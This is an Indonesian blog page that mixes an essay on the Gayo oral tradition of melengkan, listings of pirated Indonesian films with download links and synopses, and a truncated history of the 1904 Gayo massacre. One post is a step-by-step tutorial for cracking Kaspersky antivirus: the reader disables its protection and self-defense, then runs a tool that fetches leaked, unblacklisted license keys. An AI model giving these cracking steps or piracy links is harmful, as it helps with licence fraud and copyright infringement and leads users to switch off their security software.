Berbicara soal sastra lisan, ada sepuluh sastra lisan yang dimiliki orang Gayo, yaitu didong, kekeberen, kekitiken, melengkan, pantun, peribahasa, saer, sebuku, tep onem dan ure-ure. Dari sepuluh sastra lisan yang ada, yang masih bertahan kuat adalah didong dan saer. Dalam khasanah tradisi lisan Indonesia, didong merupakan salah satu sastra lisan yang masih bertahan sampai sekarang, sama halnya dengan wor bagi masyarakat Biak, propinsi Irian Jaya (Simbolon, 1999: 86&88). Sastra lisan Gayo yang salah satunya adalah melengkan menggambarkan jiwa masyarakat Gayo. Juga, menjadi identitas orang Gayo. Melengkan dan sastra lisan Gayo lainnya ikut memerkaya khasanah sastra dan bangunan budaya di Aceh. Belum lagi kandungan sastra lisan dari etnik-etnik lainnya yang mendiami Aceh. Sudah barang tentu, warisan leluhur tersebut menjadi harta yang tak ternilai harganya.

Melengkan

Sesungguhnya kajian sastra lisan Gayo masih cukup terbatas. Belakangan, kajiannya banyak menyinggung soal didong dan saer. Mengingat luasnya kajian sastra lisan Gayo, tulisan ini terbatas pada melengkan. Melengkan dapat diartikan sebagai pidato adat. Usia melengkan sama tuanya dengan keberadaan orang Gayo. Melengkan lahir dari tuntutan sosial perkawinan dalam masyarakat Gayo. Dalam konteks lebih luas, melengkan lahir dari realitas kehidupan sosial kemasyarakatan dan ‘kenegaraan’ di tanoh Gayo. Melengkan menjadi bagian sub-sistem sarak opat ‘empat unsur pemerintahan di Gayo.’ Dengan begitu, melengkan merupakan satu kelengkapan protokoler pemerintahan sarak opat. Adanya melengkan bertujuan untuk memudahkan proses komunikasi dan diplomasi dengan dunia luar ‘kampung lain.’ Lebih khusus lagi, saat pesta perkawinan berlangsung. Biasanya, melengkan dibawakan oleh pelaku melengkan baik dari pihak mempelai laki-laki ‘aman mayak’ maupun dari pihak mempelai perempuan ‘inen mayak.’ Dalam prosesnya, terjadilah berbalas pidato dengan kandungan sastra Gayo yang bernilai tinggi.

Lazimnya sebuah pidato, melengkan juga terdiri atas tiga bagian, yaitu pembukaan, isi dan penutup. Pembukaan berisi pujian terhadap kebesaran dan mensyukuri nikmat Tuhan. Dilanjutkan dengan shalawat terhadap Nabi Besar Muhammad SAW. Tak ketinggalan, penghormatan kepada langit dan bumi sebagai bagian makrokosmos. Disamping itu, penghormatan kepada tuan rumah ‘mempelai yang di tuju,’ personal, audience ‘yang berhadir’ dan masyarakat, serta kampung layaknya seperti prosesi “kenegaraan.” Persoalan substantif ada pada bagian isi yang menggambarkan kearifan-kearifan lokal, filsafat keadatan, nilai-nilai relijius, sosio-psikologis, ekolinguistik dan “kenegaraan.” Tak hanya itu, melengkan tak terlepas dari filsafat bahasa, semantik, pragmatik dan semiotika. Dengan kata lain, melengkan penuh dengan perumpamaan. Di bagian akhir, ditutup dengan permintaan maaf kepada tuan rumah dan yang berhadir. Disamping itu, memohon keberkahan acara perkawinan tersebut kepada Tuhan.


Keterwarisan Melengkan

Walaupun melengkan tetap dipraktikkan dalam kehidupan sosial masyarakat Gayo, namun banyak terjadi pergeseran nilai kemelengkanan baik simbolik maupun yang menyentuh muatan ‘content.’ Bahkan, keadaannya semakin kritis. Penyebab utama dari kekritisan tersebut dikarenakan terputusnya alih melengkan kepada generasi muda. Hal tersebut umumnya berlangsung pula pada kebudayaan Gayo. Terlebih saat pendudukan Jepang, terjadi pengkerdilan kebudayaan Gayo. Begitu pula saat arus budaya luar dan informasi, serta perkampungan budaya global terjadi. Pijakan kebudayaan Gayo seolah tak lagi mampu menahan budaya yang menghempas tersebut.

Ketidakberalihan melengkan berdampak sistemik jangka panjang pada kelangsungan hidup melengkan. Konsekuensinya, pertama, pelaku melengkan yang sepuh semakin terbatas. Dapat dikatakan, melengkan dalam arti yang sebenarnya bertahan sampai kelahiran 1940 dan 1950-an. ‘Kerapuhan melengkan’ mulai berlangsung sejak kelahiran 1960-an. Dan, ‘kerubuhan melengkan’ tidak bisa dihindarkan sejak kelahiran 1970-an. Dapat kemungkinan ‘kepunahan melengkan’ akan terjadi pada periode kelahiran 1980-an.

Kedua, memudar dan hilangnya ruh melengkan. Ruh tersebut terkait dengan pemaknaan simbolis dan kefilsafatan dengan pelbagai perumpamaan yang dikandungi. Pewaris melengkan dan generasi Gayo dewasa ini tidak lagi cerdik ‘pintar dan bijak.’ Generasi dimaksud adalah kelahiran tahun 1970-an sampai sekarang. Penyebabnya adalah hilangnya sarana berfilsafat, yang salah satunya diajarkan melalui melengkan. Begitu juga dengan semiotika keadatan dan kebudayaan. Mereka tidak lagi mampu menafsirkan wacana-wacana yang mewataki melengkan. Akibatnya, generasi/tanoh Gayo semakin berpikir ‘praktis’ dan ‘instan’ dalam menyikapi belbagai persoalan-persoalan kehidupan.

Ketiga, bercampurnya wacana-wacana kemelengkanan dengan bahasa Indonesia. Pengaruh bahasa Indonesia tidak bisa dihindarkan dalam kehidupan sosial di tanoh Gayo dan Aceh. Dalam pertumbuh-kembangannya, bahasa ini semakin menunjukkan dominasinya di Aceh. Bahkan, semakin mengkhawatirkan kelangsungan bahasa-bahasa minor di Aceh, seperi bahasa Gayo, Alas, Singkil, Tamiang, Kluet, Anak Jamuek dan Simelue. Dampak yang paling kelihatan yaitu fenomena pencampuran berbahasa ‘code mixing’ sebagai akibat dari interaksi etnik dan kontak budaya di Aceh. Lebih khusus lagi, di tanoh Gayo yang didiami lebih dari delapan suku etnik. Sudah barang tentu, ekologi berbahasa tersebut berpengaruh signifikan terhadap nasib bahasa Gayo dan melengkan. Pengaruh tersebut tidak semata di tataran lingkungan be melengkan ‘ekologi melengkan,’ juga di tataran pola pikir dan sikap pelaku melengkan dan masyarakat Gayo sebagai pewaris melengkan.


Langkah Penyelamatan

Melihat kekritisan, kayanya simbol budaya dan muatan keadatan, sosial, psikologis dan kefilsafatan melengkan, sudah sepatutnya dilakukan langkah penyelamatan. ‘Kerapuhan melengkan’ mulai berlangsung sejak kelahiran 1960-an. Mengingat ‘kerapuhan melengkan’ sudah lama terjadi, yaitu sejak generasi kelahiran 1960-an, bahkan memungkinkan menuju kepunahan. Sebetulnya ‘kepunahan melengkan’ bisa di ulur, dan diberdayakan lagi seperti semula. Hanya saja, perlu langkah dan mekanisme yang cepat, benar, sistematik dan tepat dalam penyelamatan melengkan.

Dua pendekatan yang dilakukan adalah pendekatan formal dan informal. Pendekatan formal melalui kebijakan yang di ambil pemerintah kabupaten. Kemudian, menginternalkannya dalam dunia pendidikan mulai dari tingkat dasar sampai pendidikan tinggi. Intinya, perlu dibangun kebijakan pembangunan kebudayaan Gayo. Sementara itu, dari perspektif keinformalan, perlu partisifasi dan persetalian personal, lembaga keadatan dan masyarakat sebagai pewaris melengkan. Ketika dua pendekatan tersebut sudah terformulasikan dengan baik, benar dan tepat, akan berbuah pada pemberdayaan, keterwarisan dan keterpeliharaan melengkan. Demikian halnya dengan kelangsungan kebudayaan dan keetnikan Gayo.


Sumber: Media Serambi Mekkah
Read more »

CIN(T)A

Dated Released : 19 August 2009
Quality : VCDRip
Info : imdb.com/title/tt1507265
Lihat : Trailer
Starring : Saira Jihan, Sunny Soon
Genre : Drama | Romance
----------------------------------------
Uploader by skycoolzzz


Download Files: CD1 - CD2 [160+137MB-avi]|idws
Read more »

Cintaku Selamanya

Dated Released : 30 October 2008
Quality : DVDRip
Info : imdb.com/title/tt1238753
Lihat : Trailer
Starring : Dr. Boyke, Nadila Ernesta, Hardi Fadhillah
Genre : Comedy
----------------------------------------
Uploader by barrock


Download File [450MB-mkv]|idws



------------------------------------------------------------------
http://www.indowebster.com/Selamanya_Cinta_aka_ML_2008.html
-------------------------------------------------------------------------------------------------------------

S I N O P S I S

Wisnu (Hardi Fadhillah) adalah seorang mahasiswa dengan tugasnya untuk membuat film dokumenter bertemakan seks bebas. Sumber utamanya, tentu saja adalah sahabatnya yang ulung dalam hal seks, yaitu Askar (Mike Muliadro) dan Mario (Tody). Askar berpendapat bahwa calon istrinya harus masih perawan, hal ini bertolak belakang dengan kebiasaannya berganti-ganti pacar dan kini, Askar tengah menjalin hubungan dengan seorang model bernama Wendy (Marissa Nasution). Sementara Mario yang juga sering berhubungan seks dengan kekasihnya, Manda (Ratu Felisha) berpendapat sama dan selalu mendukung Wisnu untuk berhubungan seks di umurnya yang telah mencapai 23 tahun.

Akhirnya, Mario dan Wisnupun mengadakan taruhan. Untuk membuktikan bahwa dirinya tidak gay, Mario menantang Wisnu untuk bisa berhubungan seks dalam kurun 30 hari. Dan kebalikannya, Wisnu ditantang untuk tidak berhubungan seks selama itu. Segala medan, mulai dari wanita panggilan, panti pijat, dan diskotek telah didatangi Wisnu, tapi belum berhasil. Wisnu pelan-pelan tertarik dengan Lala (Nadilla Ernesta) yang ternyata adalah adik Askar. Lala yang tidak mengetahui pertemanan Askar dengan Wisnu, bertemu dengannya di sebuah supermarket. Askar dengan adiknya sangat protektif karena ingin adiknya menjaga kesucian hingga pernikahannya tiba.

(sumber: wikipedia)
Read more »

Catatan Akhir Sekolah

Date Released : 31 March 2005
Quality : VCD
Info : imdb.com/title/tt1045824
Lihat : Trailer
Starring : Joanna Alexandra, Vino G. Bastian, Marcel C
Genre : Drama

----------------------------------------
Uploader by oksbangget


Download Files : CD1 & CD2
-----------------------------------------------
Read more »

Bukan Malin Kundang

Dated Released : 23 December 2009
Quality : DVDRip
Info : imdb.com/title/tt1576373/
Lihat : Trailer
Starring : Ringgo Agus R, Desta, Sissy Priscillia, Aming
Genre : Comedy
----------------------------------------
Uploader by abys


Download File [600MB-avi]|idws



-----------------------------------------------------------------------
http://www.indowebster.com/BMK_2010wwwindowebsterwebid.html

R E S E N S I

Berawal dari kisah persahabatan Ryan (Ringgo Agus Rahman), Ado (Desta Club Eighties) dan Luna (Sissy Priscillia). Ketiga sahabat ini memiliki karakter yang berbeda-beda. Ryan sangat manja pada ibunya yang single parent, karena mereka hanya tinggal berdua saja, sedang Ado adalah anak tunggal keluarga berada yang kekurangan kasih sayang. Lain lagi dengan Luna, ia mendapat perhatian dari keluarganya lebih dari cukup, sehingga ia jadi anak manis di depan keluarganya, tapi ketika di luar rumah, Luna jadi sedikit liar. Hanya satu yang menyatukan mereka, yakni kejahilan. Ketiganya sama-sama doyan menjahili orang lain.

Suatu ketika, Ryan melihat seorang nenek tua (Aming), terbersit ide jahil di otaknya, gara-gara sang nenek dianggapnya telah menghalangi jalannya. Ryan lalu mengikat sang nenek di tiang listrik. Niatnya adalah untuk lucu-lucuan, ia tak tahu sang nenek di saat itu telah mengutuknya.

Sesampainya di rumah, rumahnya kosong, ibunya entah ke mana. Ryan malah senang, Ia mengajak Ado dan Luna untuk datang ke rumahnya. Sepanjang malam mereka bercanda, heboh dan gila-gilaan. Hingga esok harinya mereka menemukan patung batu perempuan yang berwujud ibunya. Ryan yang manja, menjadi panik ketika tahu ibunya telah menjadi patung. Dengan sok tahu, Ado dan Luna menyimpulkan bahwa kejadian ini mirip legenda Malin Kundang.

Ingin ibunya kembali sedia kala, Ryan pun mencari bala bantuan. Bersama Ado dan Luna mereka berangkat ke poliklenik, tempat praktek para dukun paranormal. Lewat nasehat salah satu dukun top di sana (Joe P Project), Ryan harus bertemu si nenek lagi, dan meminta maaf serta minta kutukan atas ibunya dicabut.

Namun ternyata, tidak mudah untuk mencari sang nenek yang tidak mereka kenal di kota Jakarta yang luas. Beruntung Ryan dkk bertemu Pak Sabeni (Jaja Miharja), lelaki lima jaman yang membantu menemukan sang nenek, yang akhirnya diketahui bernama Rapiah.

(sumber:kapanlagi.com)
Read more »

Bukan Cinta Biasa

Dated Released : 7 May 2009
Quality : -
Info : imdb.com/title/tt1431030
Lihat : Trailer
Starring : Ferdy Element, Wulan Guritno
Genre : Comedy | Romance

----------------------------------------
Uploader by barrock


Download File[502MB]
-----------------------------------------------------------------------------------------------------------------

R E S E N S I

Nikita (Olivia Lubis Jensen) yang hanya tinggal berdua dengan sang ibu, Lintang (Wulan Guritno). Tanpa sengaja, Nikita menemukan kenyataan ayahnya, Tommy (Ferdy Element) ternyata masih hidup.

Tommy sendiri adalah seorang bintang rock, yang kehidupannya kurang teratur, urakan dan senang 'main' perempuan. Angel (Julia Perez) adalah salah satu korban 'permainan' Tommy.

Kerinduan Nikita akan sosok ayah akhirnya dapat terpenuhi. Lintang yang harus berangkat ke luar negeri, akhirnya dengan terpaksa menitipkan Nikita pada Tommy. Di sinilah awal mula kisah antara ayah dan anak yang tak pernah bertemu selama belasan tahun bermula.

Tommy yang selama ini bisa bersikap seenaknya di rumahnya, namun semenjak kedatangan Nikita di rumahnya, ia harus mengubah sebagian besar kebiasaannya. Karena Nikita menerapkan beberapa aturan di rumahnya. Dari aturan berhenti merokok, minum minuman keras, hingga melarang ayahnya membawa teman wanitanya ke dalam kamar.

(kapanlagicom)
Read more »

Banci Disco

Date Released : 14 May 2009
Quality : -
Info : imdb.com/title/tt1414456
Lihat : Trailer
Starring : Tora Sudiro, Vincent Ryan Rompies, Arie K
Genre : Comedy

----------------------------------------
Uploader by bangibet

Download File
-----------------------------------------------------------------------------------------------------------------

R E S E N S I

Hamdan (Denny Malik) adalah raja disko di jamannya. Meski sedikit udik penampilannya, namun tak sedikit wanita yang memujanya. Bahkan Hamdan diperebutkan oleh dua orang wanita, Jubaedah (Erly Ashy) dan Lucy (Inggrid Wijanarko).

Akhirnya, Hamdan menikahi kedua wanita ini secara bersamaan. Bahkan mereka pun tinggal bersebelahan di gang Kelinci. Dari kedua istrinya, Hamdan memiliki 2 orang anak, Harim (Tora Sudiro) dari Juabedah dan Setiawan (Vincent Club Eighties) dari Lucy.

Persaingan antara Harim dan Setiawan pun tak terelakkan lagi. Semenjak sekolah kedua saudara tiri ini saling bersaing satu sama lain. Seiring waktu berlalu, keadaan pun berubah. saat Harim dan Setiawan mendapat panggilan untuk bertemu dengan Hamdan yang sudah sekarat. Hamdan berpesan, agar Harti (Poppy Sovia),anak perempuan dari istri yang lain dicarikan suami yang kaya.

Pencarian jodoh yang terbaik bagi Harti pun dimulai. Namun, semua jodoh tak cocok bagi Harti yang menginginkan calon suami yang pintar disko. Suatu hari, Harti bertemu dengan Herman Amir (Arie Untung). Harti pun jatuh cinta pada Herman. Sayangnya, Herman adalah murid dari Ahmad Khalid, musuh bebuyutan Hamdan.

(kapanlagi.com)
Read more »

Bangsal 13

Dated Released : 2004
Quality : VCDRip
Info : id.wikipedia.org/wiki/Bangsal_13
Lihat : Trailer
Starring : Luna Maya, Endhita, Lia Candra
Genre : Horror
----------------------------------------
Uploader by

[VCDRip|2x114MB-wmv]|by l34rn1n6|
Download Files: CD1 & CD2
------------------------------------------------------
http://www.indowebster.com/Bangsal_13_CD1.html
http://www.indowebster.com/Bangsal_13_CD2.html

S I N O P S I S

Karena mengalami kecelakaan, Nat (Endhita) dan Mina (Luna Maya) terpaksa harus menginap disalah satu bangsal rumah sakit yang tanpa mereka ketahui menyimpan misteri kutukan. Tanpa disengaja, salah satu dari mereka membuka kembali misteri tersebut. Untuk menghentikannya, nyawa mereka pun menjadi taruhannya.

(wikipedia)
Read more »

Ayat-Ayat Cinta

Date Released : 28 February 2008
Kualitas : -
Info : imdb.com/title/tt0102059
Lihat : Trailer
Pemain : Fedy Nuril, Rianti Cartwright,
Genre : Drama, Romance

----------------------------------------
Uploader by

Download Files : CD 1 & CD 2 & CD 3
------------------------------------------------------------------------------------------

R E S E N S I

Fahri diceritakan sebagai pelajar Indonesia yang berusaha menggapai gelar masternya di Universitas Al-Azhar, Cairo, Mesir. Hidup Fahri dikejar oleh target karena keluarganya telah mengorbankan segalanya, termasuk sawah warisan kakeknya, agar dia bisa sekolah di Mesir. Fahri berusaha memenuhi target yang digambarkan dalam peta hidupnya, berjuang melawan panas-debu Mesir dan keterbatasan dana. Fahri bertekad menyelesaikan masternya dalam dua tahun, program doktor dalam empat tahun, dan empat tahun kemudian menjadi guru besar.

Fahri juga memiliki target untuk menikah dengan perempuan yang shalehah untuk menyempurnakan agamanya saat dia menyelesaikan tesis magister. Dan waktunya semakin dekat. Sayang Fahri yang hidup 'lurus' sulit dekat dengan wanita, meski ada beberapa wanita yang ada di sekitar kisah hidupnya.

Ada Maria Girgis (Carissa Putri), tetangga satu flat yang beragama Kristen Koptik tapi mengagumi Islam dan senang membaca Al Quran, bahkan hafal surat Maryam. Tak hanya Islam, Maria juga mengagumi Fahri yang kemudian berubah menjadi cinta. Sayang rasa cinta itu hanya tertumpah di buku hariannya.

Ada pula rekan senegara Fahri, Nurul (Melanie Putria) anak tunggal seorang kyai Jawa Timur yang juga menuntut ilmu di Al Azhar. Nurul yang pintar dan cantik, juga ketua Wihdah, sebenarnya mencintai Fahri, namun tak pernah memiliki keberanian untuk mengungkapkan atau memberi sinyal cintanya. Demikian pula dengan Fahri yang menaruh hati pada Nurul tapi merasa minder karena dirinya hanya anak petani miskin.

Kemudian ada Noura (Zaskia Adya Mecca), tetangga depan flat Fahri, perempuan cantik yang selalu disiksa oleh ayahnya, Bahadur. Fahri yang berempati dengan Noura akhirnya menolong Noura lepas dari siksaan ayahnya dengan bantuan Maria dan Nurul. Noura yang awalnya digambarkan sebagai perempuan baik-baik, akhirnya menjadi tokoh antagonis di film ini, setelah Noura menuduh Fahri memperkosanya. Tuduhan itu membawa Fahri mengalami 'petualangan' dengan aparat penegak hukum di Mesir, termasuk penjaranya.

Satu lagi, gadis yang paling istimewa. Fahri mengenalnya di metro. Saat itu Fahri membela Islam atas tuduhan tuduhan kolot dan kaku. Aisha (Rianti Cartwright), gadis Turki-Jerman berdarah Palestina, pun jatuh cinta pada Fahri. Dan Fahri juga tidak bisa membohongi hatinya.

Pada siapa Fahri akan melabuhkan hatinya? Dapatkah dia menjalani segala rasa cinta dan problema yang mengiringinya dengan tetap berpegang teguh pada Islam yang diyakininya?

(kapanlagicom)
Read more »

Arisan Berondong

Dated Released : 18 February 2010
Quality : DVDRip
Info : imdb.com/title/tt1593639
Company : Maxima Pictures
Starring : Bella Saphira, Randi Fadillah, Heather Storm
Genre : Comedy
----------------------------------------
Uploader by abys


Download File [600MB-avi]



---------------------------------------------------------
www.indowebster.com/AB_2010_wwwindowebsterwebid.html
-------------------------------------------------------------------------------------------------------------

R E S E N S I

Arisan bagi kaum perempuan memang bukan hal yang aneh lagi. Apalagi di kota-kota metropolis, di saat para suami sibuk bekerja, para istri sibuk mencari kegiatan, salah satunya adalah Arisan. Tapi bukan arisan biasa yang dijalani oleh Lolita dan teman-teman sosialitanya, melainkan arisan yang memperebutkan brondong setiap bulannya.

Diawali dengan Misye (Andi Soraya) yang memamerkan brondong barunya, Lolita (Bella Saphira) yang merasa gengsi akhirnya berinisiatif menggelar arisan brondong. Ia pun mengajak Lolita, Jeng Uut dan Anis untuk mencari brondong yang bakal diperebutkan di arisan. Ternyata mencari brondong yang memiliki kualitas terbaik tidak gampang.

Sementara itu, Rian (Ferly Putra) tengah kerepotan karena memiliki pacar anak orang kaya, Tika (Navy Rizki Tavania). Rian berusaha mengimbangi Tika dengan kerja sambilan sebagai pengantar galon. Hingga akhirnya, Rian tak sengaja membakar butik milik Lolita. Bagi Lolita, Rian adalah paket yang lengkap, tampang dan body oke, ditambah kepolosan Rian. Tidak butuh berpikir lagi, Lolita melakukan blackmail agar Rian agar mau menjadi brondong yang diperebutkan di arisan mereka. Dengan ancaman bakal dilaporkan ke polisi jika Rian menolaknya, maka Rian pun mau saja jadi brondong di arisan Lolita. Perebutan Rian pun kian seru karena kedatangan Heidi (Heather Storm) bule asal California dan Nana asal Jepang yang punya koneksi dengan Yakuza.

Jadi rebutan tante-tante kaya bikin penampilan Rian pun ikut berubah. Teman-teman kos Rian pun curiga. Lama-lama terbongkar juga kalau Rian jadi brondong tante-tante kaya. Tapi Bagus (Hardi Fadhillah) dan Jaja (Farish Nahdi), teman-teman Rian, tak memandang rendah malah mereka berdua ingin mengikuti jejak Rian. Apalagi di usia 25, Bagus tidak pernah berhasil mendapat cewek-cewek yang seumuran. Sedang Jaja sedari kecil sudah menderita oedipus complex.

Mimpi jadi brondong yang punya segalanya ternyata tidak gampang bagi Rian, Bagus dan Jaja yang memang masih baru menjalani 'profesi' ini. Ditambah mereka harus melayani keinginan para tante-tante yang bermacam-macam. Rian sendiri masih berharap dengan hubungannya dengan Tika, meski pacarnya sudah mulai curiga dengan tingkah aneh Rian.

(sumber:kapanlagicom)
Read more »

Anak Setan

Dated Released : 23 April 2009
Quality : VCDRip
Info : imdb.com/title/tt1431001
Lihat : Trailer
Starring : Ringgo Agus Rahman, Indri Satiya, Jill Gladys
Genre : Horror
----------------------------------------
Uploader by barrock


Download File [500MB-avi]



--------------------------------------------------------------------
http://www.indowebster.com/Anak_Setan_ngaSSo.html

-------------------------------------------------------------------------------------------------------------
S I N O P S I S

Bercerita tentang kehidupan Gabrielle, seorang wanita pintar dan mandiri yang baru saja bertugas untuk mengepalai sebuah rumah sakit jiwa. Keadaan rumah sakit jiwa yang kumuh dan tidak terurus itu membuatnya kecewa dan dia pun bertekad untuk memperbaiki rumah sakit tersebut.

Suatu ketika, Gabrielle secara tidak sengaja menemukan seorang pasien yang dipasung. Pasien itu bernama Stella. Stella dipasung oleh direktur rumah sakit jiwa itu sebelumnya. Gabrielle lalu melepaskan Stella. Setelah itu Gabrielle menghubungi Panji, mantan pacarnya untuk membantunya menyembuhkan stella. Panji melihat sbeuah tanda aneh di leher Stella. Yang menurut Gabrielle adalah tanda lahir. Lalu akhirnya Gabrielle dan Panji pun bekerja sama untuk menyelidiki tanda lahir dan asal usul Stella.
Read more »

Ada Kamu Aku Ada

Dated Released : 8 May 2008
Quality : VCDRip
Info : imdb.com/title/tt1233588
Lihat : Trailer
Starring : Bunga Citra Lestari, Andhika Pratama, Rama M
Genre : Drama
----------------------------------------
Uploader by trzmovies


Download File [464MB-avi]



---------------------------------------------------------------
http://www.indowebster.com/Ada_Kamu_Aku_Ada__1.html
Rata Penuh
S I N O P S I S

Dikisahkan Stella (Bunga Citra Lestari), gadis cantik yang memilih ikut kakaknya, Tasya, kuliah di Jakarta. Stella menjalin kasih dengan Damian (Rama Michael), cowok tajir, yang hobi pesta. Hubungan Stella dan Damian seperti saling memanfaatkan. Stella selalu menjadi 'boneka cantik' Damian di setiap pesta. Damian pun selalu memberikan apa pun yang diinginkan Stella. Meski tahu dirinya dibohongi, Stella tetap mempertahankan hubungan tersebut.

Suatu hari, Stella bertemu dengan Elang (Andhika Pratama), gitaris handal yang sedang membantu album Chita, kekasih temannya Yudha. Pertemuan demi pertemuan terjadi dan akhirnya mereka pun saling jatuh cinta. Elang setuju menjadi orang 'kedua' selama dia bisa bersama Stella. Ternyata menjadi orang kedua bukan hal yang mudah bagi Elang. Damian yang mengetahui kedekatan Elang dan Stella merasa marah dan terhina. Damian pun melakukan apa saja untuk menjauhkan mereka.

Saat Elang memutuskan untuk meninggalkan Stella, Stella pun mulai berpikir apakah yang sebenarnya dia inginkan dalam hidup ini? Sayang saat memutuskan untuk mengikuti kata hatinya dan mengejar Elang, Elang mengatakan semua sudah terlambat.

(sumber:kapanlagicom)
Read more »

Crack Kaspersky dengan Kaspersky Maniac

Pada Tutorial ini saya akan sedikit menjelaskan mengenai Antivirus Kaspersky yang bisa digunakan untuk menghindari baned oleh pihak Kaspersky. Sering kita melakukan aktivasi dengan key file namun ternyata key tersebut di Black List sehingga tidak dapat dipergunakan lagi

Nah untuk mencari secara otomatis key file tersebut kita tidak usah lagi browsing dari Google yang memakan waktu cukup lama.

Untuk itu saya akan memberikan sebuah Aplikasi yang mampu mencari otomatis key file yang masih White list, gak percaya ni !!! hehe

Namanya Kaspersky Maniac di buat oleh programmer Daariee, ok deh langsung aja ni download masternya

Download dulu Kaspersky Anti Virus 2011 KAV11.0.0.232 disini

Atau mau yang pake Internetan pake ja ni

Download Kaspersky Internet Security 2011 KIS11.0.1.400en disini

Download Kaspersky Maniac disini

Jika sudah mendownload ikutilah langkah dibawah ini

  • Matikan Kaspersky Antivirus anda, bisa denga mengklik icon dan Pause Protection atau menghilangkan tanda centang di pengaturan dengan Meng enable Protection
  • Langkah kedua yaitu, mematikan Self Defense di pengaturan atau setting
  • Jalankan Kaspersky Maniac 2.3.8
  • Pilih List Key akan muncul key dalam list tersebut, nah untuk mengetahui apakah key tersebut sudah di black list atau belum maka akan muncul dialog box pilih ok, perhatikan apakah ada yang sudah terblack list, jika tidak ada maka key tersebut siap di download
  • Untuk mendownlaodnya, sebaliknya anda kenali type atau jenis kaspersky anda, contoh download diatas adalah Kaspersky Internet Security 2011, maka selanjutnya anda tekan tombol auto check disamping dan pilih KIS11 Key
  • Centang dan auto Check
  • Sekarang saatnya download key Kaspersky dengan memilih Download Checked Key (S) pada tombol paling bawah
  • Download selesai anda sudah mendapatkan key yang white list dan tinggal memasukkan ke Kaspersky kesayangan anda..enjoy.. Gayo land


Read more »

Anti Virus

Download Cepat gunakan IDM dapat disambung, sedot disini

Read more »

Pembantaian Tanah Gayo, Alas, dan Batak

Pembantaian Tanah Gayo, Alas, dan Batak dilakukan oleh KNIL di bawah pimpinan G.C.E. van Daalen pada tahun 1904 selama Perang Aceh.

Pada bulan Desember 1903, pemerintah Tanah Gayo, Alas, dan Batak mengadakan lawatan dinas dari Teluk Aru dan Salahaji ke Kuala Simpang untuk menyelidiki beberapa sengketa yang timbul antara Kejurun Karang, wilayah utama Tamiang, yang berbatasan langsung dengan permukiman Gayo, yang terletak di Krueng Tamiang. Meskipun sudah diketahui sebelumnya banyak orang Gayo - terutama dari Gayo Lues, Serbejadi, dan Linge - turun ke Tamiang untuk menjual hasil hutan dan ternaknya dan mereka sendiri perlu membeli barang impor, kunjungan itu benar-benar menunjukkan bahwa kontak penduduk asli dengan pemerintahan Hindia-Belanda jauh lebih besar ketika pegawai Belanda tidak mencatat semua kontak dengan urusan dalam suku-suku independen itu secara sistematis. Bahkan setelah pemerintah menetapkan bahwa Tanah Gayo dan Alas sudah dipertimbangkan masuk pemerintahan Aceh dan jajahannya dan harus menjadi bawahannya, tidak perlu bergantung kepada Tamiang, hingga datangnya pemerintahan militer dan sipil di Aceh dan Sumatera Timur - yang berunding satu sama lain - menunggu penambahan subdivisi Tamiang ke Aceh, pemerintahan sementara dirancang.

Seorang perwira garnisun Kuala Simpang dibebani tugas mengurusi masalah Gayo, di saat yang sama difasilitasi dengan peleton bergerak. Dengan kunjungan ini, pemerintah Tanah Gayo dan Alas bertemu dengan banyak orang Gayo dan juga dengan Kejurun Petiambang, yang antara lain melaporkan bahwa di Gayo-Lues sudah diberi penjelasan atas rencana perjalanan ke sana dan terdapat pihak penentang, yang jalan masuk paling utama ke daerah itu - Intem Intem, jalan di Pendeng dan Susoh - sudah berada dalam keadaan bertahan dari pasukan Belanda yang sedang bergerak maju, seperti yang harus dihadapi di Intem Intem pada tahun 1902. Di kejurun diberitahukan bahwa itulah yang dimaksud, perjalanan dilaksanakan dengan dukungan angkatan pasukan dan pasukan itu tidak kembali lagi, namun di mata orang Gayo pasukan Belanda tidak dapat menjangkau daerah pegunungan. Di saat yang sama pasukan diperintahkan kembali dan para pimpinannya melaporkan ke konvoi komandan bahwa pasukan musuh akan segera tiba.

Meskipun dengan sambutan itu kejurun tidak mengadakan perlawanan, ia - yang takut kepada pihak-pihak yang bermusuhan di wilayahnya - tidak bertolak dan seperti yang dapat diketahui pergi ke daerahnya bersama dengan pasukan Belanda. Dalam hubungannya dengan rencana yang ada mengenai pandangan atas Tanah Gayo-Lues dan Alas, konvoi juga dianggap penting, sehingga konvoi itu diberangkatkan yang berisi anggota garnisun dari Kuala Simpang, menuju daerah yang pernah dikunjungi Belanda dan Pendeng yang bergolak atas 2 alasan: penaklukan wilayah itu dan meratakan jalan bagi evakuasi orang yang terluka dan sakit di Gayo Lues. Oleh karena itu diputuskan bahwa pemerintah sipil dan militer memerintahkan penguasa Tanah Gayo dan Alas (yang ke arah merekalah konvoi diarahkan) untuk merancang instruksi untuk komandan pasukan yang disebutkan tadi dari Kuala Simpang; setelah instruksi ini disetujui oleh komandan militer Sumatera Timur, konvoi Tamiang ditarik ke Pedeng untuk mencapai sasaran dalam waktu yang mencukupi untuk mengantisipasi tugas berikutnya.

Angkatan dan susunan ekspedisi

Barisan Maréchaussée yang melakukan ekspedisi ke Tanah Gayo dan Alas tersusun sebagai berikut: komandan barisan adalah GCE. van Daalen, letnan kolonel staf jenderal; ajudannya adalah letnan artileri I JCJ. Kempees; sisanya 1 divisi maréchaussée, di bawah pimpinan Kapiten W.B.J.A. Scheepens dari 10 brigade, dipecah dalam 2 divisi, masing-masing dari 2 bagian, masing-masing dipimpin seorang letnan; 1 ambulans di bawah perwira kesehatan kelas II HM. Neeb; 1 departemen sensor di bawah LetTu Hoedt; kereta (penarik) 110 mandor dan pekerja paksa; disertai oleh Ir. Jansen dengan beberapa personel untuk mengumpulkan data geologis dan seorang mantri dari 's Lands Plantentuin te Buitenzorg (sekarang Kebun Raya Bogor) untuk mengumpulkan data botani. Saat mendarat di Ulee Lheue pada tanggal 8 Februari, kekuatan mencapai 10 perwira, 1 insinyur pertambangan, 13 bintara Eropa, 1 perawat prajurit Eropa, 208 anggota maréchaussée dari Ambon dan pribumi; kemudian personel KA, 473 mandor, pekerja paksa dan sekitar 15 kuli, penunjuk jalan dan karyawannya; seluruhnya 721 orang.

Tujuan

